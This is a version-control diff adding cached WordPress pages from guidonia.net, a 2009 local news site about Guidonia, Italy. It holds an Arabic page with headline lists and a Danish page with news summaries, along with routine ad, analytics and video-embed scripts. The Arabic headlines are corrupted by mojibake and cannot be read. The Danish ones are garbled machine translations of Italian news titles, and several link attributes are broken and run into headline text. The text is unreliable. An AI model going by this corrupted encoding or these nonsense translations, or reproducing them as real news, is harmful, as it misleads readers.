+Ø¯ÙÙØ© Ø£Ø®ØšØ§Ø± Ø³Ø±ÙØ¹Ø©</a></span> </h3><ul style=";text-align:right;direction:rtl"><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/#39;ÙÙÙØ© Ø£Ù
+Ø³ Ø PDL Ø¹Ø¶Ù Ù
+Ø¬ÙØ³ Ø§ÙØšÙØ¯Ù ÙØ¹Ø¶Ù ÙØ¬ÙØ© Ø§ÙØ£Ù
+Ù Ø ÙÙØ¯ÙÙÙÙÙ Todini ÙØ§Ù&quot; Primavalle Ø ÙÙ
+Ø§ Ø¥ÙÙ Ø°ÙÙ Guidonia Ardeatina Ø§ÙÙØ§ØŠÙ
+Ø© ØªØ·ÙÙ ÙÙØ§ØºØªØµØ§Øš ÙÙ ÙÙÙ
+ Ø³ÙÙÙÙ Ø¶Ø­Ø§ÙØ§ÙØ§... Ø§ÙØ¹ÙØ§Ù
+Ø§Øª : ÙÙÙØ³ primavalle Todini (...)Ø§ÙÙÙØ§Øª Ø§ÙÙ
+Ø³ÙØ­Ø© Ø§ÙÙÙÙØºÙÙÙØ© Guidonia"">Comune Ø±ÙÙ
+Ø§ -- Todini (PDL) : Ø§ÙØ§ØºØªØµØ§Øš Ø Ø£Ù ÙÙØ§Ø³ &#39;ÙÙ
+ÙØ£</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano -- Ø±ÙÙ
+Ø§ Tiburtina -- Ø®Ø· Ø§ÙØ³ÙØ© Ø§ÙØ­Ø¯ÙØ¯ Ù
+Ù &#39;outcastes&#39;</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">Ø£ØµÙ Ø§ÙØºØ¬Ø± Ø²Ø§Ù : Ø§ÙÙÙØ§ÙØ© ÙØ§ÙØ³ÙØ§Ù
+Ø© ÙÙ Ø§ÙØ¹Ù
+Ù</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Ø§Ù
+Ø±Ø£Ø© ÙØªÙØª Ø§ÙØµÙØ§Ø¹Ù ÙØ§ØªØ³ÙÙ</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;ÙÙ Ø£ÙÙØ¯Ø§&quot; L&#39; Ø£ÙÙÙÙØ§ Ø§ÙÙ
+ÙØ§Ø²Ù Ø¯ÙÙ Ø§Ø³Ù
+ÙØª. ÙØ¥ÙÙÙ Ø§ÙØ£Ø¯ÙØ©. &quot; ÙÙØ¯ ÙØŽØ±Øª ÙØ§ÙØ²Ù Cappucci Ø ÙØªØ­ØµÙ ÙÙ Ø§ÙØ§ÙÙØ§Ø¶ ÙÙ Ù
+ÙØ·ÙØ© Ø§ØšØ±ÙØ² ÙØ¬Ø¯Øª Ø¯ÙÙÙØ§ Ø¹ÙÙ Ø®ÙØ© Ø ÙØ¹Ø¯Ù
+ ÙØ¬ÙØ¯ Ø¶ÙØ§ØšØ· Ø ÙØ§ÙØ¬ÙØ§ØŠÙØ© Ø§ÙØªÙ ÙØ§ Ù
+ØšØ§ÙØ§Ø© Ø§ÙØ¹Ø¯ÙØ¯ Ù
+Ù Ø§ÙÙ
+ÙØ§Ø²Ù ØªÙ
+ ØšÙØ§Ø€ÙØ§. ... Ø§ÙØ¹ÙØ§Ù
+Ø§Øª : Ø§ÙØ²Ù ÙØšØ¹Ø§Øª Ø§ØšØ±ÙØ² RaiNews24 Ø±Ø§Ù Ø±ÙÙ
+Ø§..."">Ø±Ø§Ù Ø¹ÙÙ Ø§ÙØ£Ø³Ù
+ÙØª</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;onda&#39;&#39;L&#39;Aquila ÙÙ Ø§ÙÙ
+ÙØ§Ø²Ù Ù
+Ù Ø¯ÙÙ Ø§Ø³Ù
+ÙØª. ÙØ¥ÙÙÙ Ø§ÙØ£Ø¯ÙØ© &#39;&#39;. ÙÙØ¯ Ø£Ø±Ø³ÙØª Ù
+Ù Rainews24 Ø Ø§ÙØ²Ù Cappucci Ø ÙØªØ­ØµÙ ÙÙ Ø§ÙØ§ÙÙØ§Ø¶ ÙÙ Ù
+ÙØ·ÙØ© Ø§ØšØ±ÙØ² ÙØ¬Ø¯Øª Ø¯ÙÙÙØ§ Ø¹ÙÙ Ø®ÙØ© Ø ÙØ¹Ø¯Ù
+ ÙØ¬ÙØ¯ Ø¶ÙØ§ØšØ· Ø ÙØ§ÙØ¬ÙØ§ØŠÙØ© Ø§ÙØªÙ ÙØ§ Ù
+ØšØ§ÙØ§Ø© Ø§ÙØ¹Ø¯ÙØ¯ Ù
+Ù Ø§ÙÙ
+ÙØ§Ø²Ù... Ø§ÙØ¹ÙØ§Ù
+Ø§Øª : [...]"">RaiNews 24 : Exclusive&#39;&#39;eagle Ø§ÙÙ
+ÙØ§Ø²Ù Ø¯ÙÙ Ø§ÙØ§Ø³Ù
+ÙØª &#39;&#39;</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">Ù
+Ø³ÙØ­ ØšÙ
+Ø³Ø¯Ø³ Ø§ÙØ¹ØªÙÙØ© ÙÙØ³Ø±ÙØ© ÙÙ Ø§ÙÙÙØ¯Ù</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">ÙØšÙ 23 ÙÙÙÙÙ Ø§ÙØ§ØŽØªØ±Ø§ÙØ§Øª Ø§ÙØ¥ÙÙÙÙ
+ÙØ© C2</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Ø¥Ø¯Ø§Ø±Ø© Ø§ÙØ£ÙÙ
+ ØšØ¹Ø¯ Ø§ÙØ¹Ù
+ÙÙØ§Øª ÙÙÙØ² &quot;ÙØ§ÙØµØ®ÙØ±&#39; ØªÙ
+ØªØ¯ &#39;Ù..</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Ø§ÙÙ
+Ø±Ø£Ø© ÙØ§ÙØ¯ÙÙ
+ÙØ±Ø§Ø·ÙØ©.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Ø§ÙØ®ÙÙ ÙØ§ÙØ£ÙØ§Ø°ÙØš Ù&quot;Ø®Ø±Ø§ÙØ©&quot;.</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;Ø§ÙØ¬Ù
+Ø§ÙÙØ± Ù
+Ø·Ø§ÙØš... Ø§ÙØ¹ÙØ§Ù
+Ø§Øª : Ø§ÙØ³ÙØ·Ø© Circeo Ù
+ÙØ²Ù Ø¯ÙÙØ§ØªÙÙØ§ Ù
+Ø¹ Ø§ÙÙ
+Ø¹Ø§Ø±Ø¶..."">Ø§ÙÙ
+Ø±Ø£Ø© ÙØ§ÙØ¯ÙÙ
+ÙØ±Ø§Ø·ÙØ©.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;Ø§ÙØ¬Ù
+Ø§ÙÙØ± Ù
+Ø·Ø§ÙØš... Ø§ÙØ¹ÙØ§Ù
+Ø§Øª : Ø§ÙØ³ÙØ·Ø© Circeo Ù
+ÙØ²Ù Ø¯ÙÙØ§ØªÙÙØ§ Ù
+Ø¹ Ø§ÙÙ
+Ø¹Ø§Ø±Ø¶..."">Ø§ÙØ®ÙÙ Ø ÙØªÙØ¹ Ø¹ÙÙ &quot;Ø§Ø³Ø·ÙØ±Ø©&quot;</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Ù
+Ø­ÙÙØ§Øª ÙÙØ§ÙÙ Ø§ÙØ¥ÙØªØªØ§Ø­ ÙÙÙ
+ Ø§ÙØ®Ù
+ÙØ³ 25 ÙÙÙÙÙ ÙÙ Ø§ÙØ³ÙÙÙ
+Ø§</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html#39;ÙØ­ÙØ¯&#39; Ø£ÙØ·ÙÙÙÙ ÙÙÙ
+ØšØ§Ø±Ø¯Ù affannosa ÙÙ Ø¥Ø¹Ø§Ø¯Ø© ØšÙØ§Ø¡ Ø ÙÙÙØ§ ÙØ§Ù Ø£ÙÙ Ø¹ÙØ§Ù
+Ø© ÙØªØ¯. Ù
+Ø¹ ØšÙØ§Ù ØµØ­ÙÙ ÙÙØµØ­Ø§ÙØ© ÙØ¯Ø§ØŠÙ
+Ø§ ÙÙ Ø§ÙÙÙØª Ø§ÙÙ
+Ø­Ø¯Ø¯ Ø ÙØžÙØ± Ø¹ÙÙ Ù
+ÙÙØ¹ Ø§ÙÙØ§Ø¯Ù Ø§ÙÙÙØšÙØ© Ø ÙØ±Ø§ÙÙÙ Ø§ÙØªÙØ³ÙØ±Ø§Øª Ø§ÙÙ
+Ø¹ØªØ§Ø¯Ø© ÙÙØ·ÙÙØ³ Ø ÙÙ Ø§ÙØ¢Ù Ø±Ø³Ù
+ÙØ§ Ø¹ÙÙ
+Ø§ ØµØ­ÙÙ Ù
+Ù... Ø§ÙØ¹ÙØ§Ù
+Ø§Øª : ÙÙÙØ§ genoas Fusco Rozzano ØªÙÙ
+Ø§Ø³Ù ØšØ±Ù..."">Salernitana : Diesse Ø¬Ù
+Ø¹ÙØ© Ø­ÙÙÙ Ø§ÙÙ
+ÙØ§Ø·Ù Ø Fabiani digi</a></span> </li><li style=";text-align:right;direction:rtl"> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Ø§ÙØ§ÙØªØ®Ø§ØšØ§Øª Ø ÙGuidonia Ù
+ØµØ¯Ø± Ø¬Ø¯ÙØ¯ ÙÙÙ
+Ø±ÙØ²</a></span> </li></ul></div><div class=box style=";text-align:right;direction:rtl"><div class=textwidget style=";text-align:right;direction:rtl"><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer style=";text-align:right;direction:rtl"><p style=";text-align:right;direction:rtl"> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=ar" >GuidoniaPuntoNet (ÙÙØ¯ Ø§ÙØ¥Ø¹Ø¯Ø§Ø¯).</a> ØµÙØ© : <a href="http://www.guidonia.tv/">Guidonia Ø§ÙØªÙÙØ²ÙÙÙ</a> -- <a href="http://www.aniene.net/">Aniene.Net</a> -- <a href="http://www.linuxap.it/">LinuxAp</a> -- <a href="http://www.eleonline.it/">Ø£Ø®ØšØ§Ø± Ø§ÙØ§ÙØªØ®Ø§ØšØ§Øª</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript style=";text-align:right;direction:rtl"><div class=statcounter style=";text-align:right;direction:rtl"> <a title="Ø¥Ø­ØµØ§Ø¡Ø§Øª Ø§ÙÙ
+ÙÙØ¹" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="Ø¥Ø­ØµØ§Ø¡Ø§Øª Ø§ÙÙ
+ÙÙØ¹"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 3.951 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 09:22:59 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/da/_wp__lang=da
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/da/_wp__lang=da	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/da/_wp__lang=da	(revision 44)
@@ -0,0 +1,118 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/ /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> GuidoniaPuntoNet (i gang) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (i gang) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="standard" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="lyserÃžd" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="grÃžn" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="lilla" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="rÃžd" /><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (i gang)" href=http://www.guidonia.net/wp /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=da" >GuidoniaPuntoNet (i gang)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=da" >Hjem</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=da" >Om</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=da" >Kontakter</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="sÃžgning" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-8><h2> <span  > <a href="http://www.guidonia.net/wp?p=8&lang=da" >Guidonia i WebTV</a></span> </h2><p class=meta-header> <span  > Modtaget den 05 april 2009 i <a href="http://www.guidonia.net/wp?cat=3&lang=da" >Nyheder pÃ¥ Guidonia</a> af <a href="http://www.guidonia.net/wp?author=1&lang=da" >admin</a></span> </p> <span  ></span> <p><center><br /><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 468x60, creato 23/05/09 */
+google_ad_slot = "2568589828";
+google_ad_width = 468;
+google_ad_height = 60;
+//-->
+</script><br /><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></p><p><div class=tubepress_container><div id=tubepress_mainvideo><div id=tubepress_inner style="width: 425px"><div id=tubepress_btitle> <span  > Mansarda <a href="http://www.guidonia.net/wp?tag=guidonia&lang=da" >Guidonia</a> Center</span> </div><object type=application/x-shockwave-flash style="width: 425px; height: 355px" data=http://www.youtube.com/v/z32gTXwZyq0&amp;rel=0&amp;autoplay=0&amp;loop=0&amp;egm=0&amp;border=1&amp;fs=1&amp;showinfo=1><param name=wmode value=transparent /><param name=movie value=http://www.youtube.com/v/z32gTXwZyq0&amp;rel=0&amp;autoplay=0&amp;loop=0&amp;egm=0&amp;border=1&amp;fs=1&amp;showinfo=1 /><param name=allowfullscreen value=true /></object></div><!-- tubepress_inner --></div><!--tubepress_mainvideo--><br /><div class=pagination><div class=pagination> <span  > <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=da" >2</a> <a href="http://www.guidonia.net/wp?tubepress_page=3&lang=da" >3</a> <a href="http://www.guidonia.net/wp?tubepress_page=4&lang=da" >4</a> <a href="http://www.guidonia.net/wp?tubepress_page=5&lang=da" >5</a> ... <a href="http://www.guidonia.net/wp?tubepress_page=626&lang=da" >626</a> <a href="http://www.guidonia.net/wp?tubepress_page=627&lang=da" >627</a> <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=da" >successivo</a></span> <span class=disabled>forrige</span> <span class=current>1</span> <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=da" >2</a> <a href="http://www.guidonia.net/wp?tubepress_page=3&lang=da" >3</a> <a href="http://www.guidonia.net/wp?tubepress_page=4&lang=da" >4</a> <a href="http://www.guidonia.net/wp?tubepress_page=5&lang=da" >5</a> ... <a href="http://www.guidonia.net/wp?tubepress_page=626&lang=da" >626</a> <a href="http://www.guidonia.net/wp?tubepress_page=627&lang=da" >627</a> <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=da" >nÃŠste</a></span> </div></div><!--
+	<div class="tubepress_video_thumbs">
+		<div class="tubepress_thumb">
+	<div class="tubepress_video_thumb_inner" style="width: 120px">
+	
+	
+		<a href="#" onclick="tubePress_normalPlayer('%3Cobject%20type%3D%22application%2Fx-shockwave-flash%22%20%0A%20%20%20%20style%3D%22width%3A%20425px%3B%20height%3A%20355px%22%20data%3D%22http%3A%2F%2Fwww.youtube.com%2Fv%2Fz32gTXwZyq0%26amp%3Brel%3D0%26amp%3Bautoplay%3D0%26amp%3Bloop%3D0%26amp%3Begm%3D0%26amp%3Bborder%3D1%26amp%3Bfs%3D1%26amp%3Bshowinfo%3D1%22%3E%0A%20%20%20%20%3Cparam%20name%3D%22wmode%22%20value%3D%22transparent%22%20%2F%3E%0A%20%20%20%20%3Cparam%20name%3D%22movie%22%20value%3D%22http%3A%2F%2Fwww.youtube.com%2Fv%2Fz32gTXwZyq0%26amp%3Brel%3D0%26amp%3Bautoplay%3D0%26amp%3Bloop%3D0%26amp%3Begm%3D0%26amp%3Bborder%3D1%26amp%3Bfs%3D1%26amp%3Bshowinfo%3D1%22%20%2F%3E%0A%20%20%20%20%3Cparam%20name%3D%22allowfullscreen%22%20value%3D%22true%22%20%2F%3E%0A%3C%2Fobject%3E', '425', 'Mansarda%20Guidonia%20Centro')" > 
+		<img  src="http://i.ytimg.com/vi/z32gTXwZyq0/2.jpg" width="120" height="90" alt="Mansarda Guidonia Centro" ></a>
+		
+		<div class="tubepress_meta_group">
+	
+			
+
+			
+			
+			 
+			
+			 
+
+			 
+			
+			 
+			
+			 
+			
+			
+
+		</div>
+		
+	</div>
+
+</div>
+
+	</div> --><!-- tubepress_video_thumbs --><!--
+	<div class="pagination">
+	    <div class="pagination"><span class="disabled">precedente</span><span class="current">1</span><a href="http://www.guidonia.net/wp?tubepress_page=2&lang=da" >2</a><a href="http://www.guidonia.net/wp?tubepress_page=3&lang=da" >3</a><a href="http://www.guidonia.net/wp?tubepress_page=4&lang=da" >4</a><a href="http://www.guidonia.net/wp?tubepress_page=5&lang=da" >5</a>... <a href="http://www.guidonia.net/wp?tubepress_page=626&lang=da" >626</a><a href="http://www.guidonia.net/wp?tubepress_page=627&lang=da" >627</a><a href="http://www.guidonia.net/wp?tubepress_page=2&lang=da" >successivo</a></div>
+
+	</div>
+	--></div></p><p><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=8&lang=da" >LÃŠs mere</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=8#comment&lang=da" >Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6286><h2> <span  > <a href="http://news.google.com/news/url?Art=45200&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">Guidonia: PAGANO, UDC TILSKYNDER VEJE AT risikokortlÃŠgningssystemer - IRIS Tryk - National News Agency</a></span> </h2><p class=meta-header> <span  > Modtaget den 04 juli, 2009 i <a href="http://www.guidonia.net/wp?cat=1&lang=da" >Guidonia Nyheder</a> af <a href="http://www.guidonia.net/wp?author=1&lang=da" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?Art=45200&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">Guidonia: PAGANO, UDC TILSKYNDER VEJE AT risikokortlÃŠgningssystemer</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>IRIS Tryk - National News Agency</b></font></font></span> <br /> <span  > <font size=-1>(IRIS) - <b>Guidonia Montecelio,</b> 4 LUG - &quot;En af de prioriteter, der skal behandles med behÃžrig haster, er, at trafiksikkerhed. De er alt for mange ulykker <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=deS6TQ9RkXlJg2M"><font class=p size=-1><b>mere Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.com/news/url?Art=45200&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.com/news/url?Art=45200&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6289><h2> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">Guardia di Finanza.</a></span> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">Beslaglagt kapital pÃ¥ 3 millioner stykker ... -</a> Den <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">vestlige</a></span> </h2><p class=meta-header><span  > Modtaget den 03 juli, 2009 i <a href="http://www.guidonia.net/wp?cat=1&lang=da" >Guidonia Nyheder</a> af <a href="http://www.guidonia.net/wp?author=1&lang=da" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">Guardia di Finanza.</a></b></span> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">Beslaglagt kapital pÃ¥ 3 millioner stykker ...</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>Vesten</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> Kinesiske ivÃŠrksÃŠttere opererer pÃ¥ samme mÃ¥de og til at finde 17 lagre i de omrÃ¥der af East Rom og <b>Guidonia Montecelio. ...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d12lqNpW1bnRGHM"><font class=p size=-1><b>mere Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6288><h2> <span  > <a href="http://news.google.com/news/url?DocRulesView=Libero&fd=R&sa=T&url=http://www.ilsole24ore.com/art/SoleOnLine4/Italia/2009/07/gdf-operazione-anti-contraffazione-cinesi.shtml?uuid=ba99858c-67b1-11de-bb24-784de86f3209&usg=AFQjCNE1JGpu-wnJ9FGmix1nbU4GEJc95Q">GdF, store beslaglÃŠggelse af forfalskede varer for 20 millioner - Il Sole 24 Ore</a></span> </h2><p class=meta-header> 